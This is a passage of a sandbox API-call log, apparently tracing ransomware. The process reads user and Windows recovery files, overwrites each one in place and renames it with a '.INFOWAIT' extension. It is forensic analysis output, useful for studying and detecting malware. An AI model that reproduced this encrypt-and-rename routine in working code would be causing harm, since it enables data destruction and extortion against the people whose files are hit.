lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim", lpString2=".INFOWAIT" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.INFOWAIT") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.INFOWAIT" [0117.651] MoveFileW (lpExistingFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim"), lpNewFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.INFOWAIT" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim.infowait")) returned 1 [0117.652] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.653] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.654] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0117.654] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0117.655] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa5ff [0117.655] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0117.656] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.656] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xa5ff, lpOverlapped=0x0) returned 1 [0117.661] VirtualAlloc (lpAddress=0x0, dwSize=0xa5ff, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0117.665] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.665] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xa5ff, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xa5ff, lpOverlapped=0x0) returned 1 [0117.665] CloseHandle (hObject=0xad4) returned 1 [0117.669] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" [0117.669] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.INFOWAIT" [0117.669] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.infowait")) returned 1 [0117.669] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.670] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.671] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0117.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0117.671] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd [0117.671] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0117.671] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.671] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd, lpOverlapped=0x0) returned 1 [0117.676] VirtualAlloc (lpAddress=0x0, dwSize=0xd, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0117.677] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.677] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd, lpOverlapped=0x0) returned 1 [0117.677] CloseHandle (hObject=0xad4) returned 1 [0117.678] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" [0117.678] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.INFOWAIT" [0117.678] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.infowait")) returned 1 [0117.679] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.680] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.680] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0117.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0117.681] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd [0117.681] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0117.681] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.681] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd, lpOverlapped=0x0) returned 1 [0117.684] VirtualAlloc (lpAddress=0x0, dwSize=0xd, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0117.685] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.685] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd, lpOverlapped=0x0) returned 1 [0117.685] CloseHandle (hObject=0xad4) returned 1 [0117.685] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" [0117.685] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.INFOWAIT" [0117.685] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.infowait")) returned 1 [0117.686] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.687] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.687] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0117.687] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0117.687] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000 [0117.687] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0117.688] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.688] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x8000, lpOverlapped=0x0) returned 1 [0117.692] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0117.694] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.694] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x8000, lpOverlapped=0x0) returned 1 [0117.695] CloseHandle (hObject=0xad4) returned 1 [0117.695] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" [0117.696] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.INFOWAIT" [0117.696] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.infowait")) returned 1 [0117.696] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.697] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.697] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0117.697] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0117.698] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x344 [0117.698] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0117.699] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.699] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x344, lpOverlapped=0x0) returned 1 [0117.714] VirtualAlloc (lpAddress=0x0, dwSize=0x344, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0117.714] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.714] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x344, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x344, lpOverlapped=0x0) returned 1 [0117.714] CloseHandle (hObject=0xad0) returned 1 [0117.715] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" [0117.715] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.INFOWAIT" [0117.715] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.infowait")) returned 1 [0117.716] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.716] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.717] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0117.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0117.718] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8e062 [0117.718] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0117.718] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.718] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0117.742] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0117.752] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.752] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0117.753] CloseHandle (hObject=0xad0) returned 1 [0117.809] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" [0117.809] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.INFOWAIT" [0117.809] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.infowait")) returned 1 [0117.809] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.810] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.811] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0117.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0117.811] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2d400 [0117.811] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0117.811] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.811] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0117.824] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0117.834] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.834] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0117.835] CloseHandle (hObject=0xad0) returned 1 [0117.839] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" [0117.839] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.INFOWAIT" [0117.839] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.infowait")) returned 1 [0117.840] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.841] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.842] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0117.842] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js 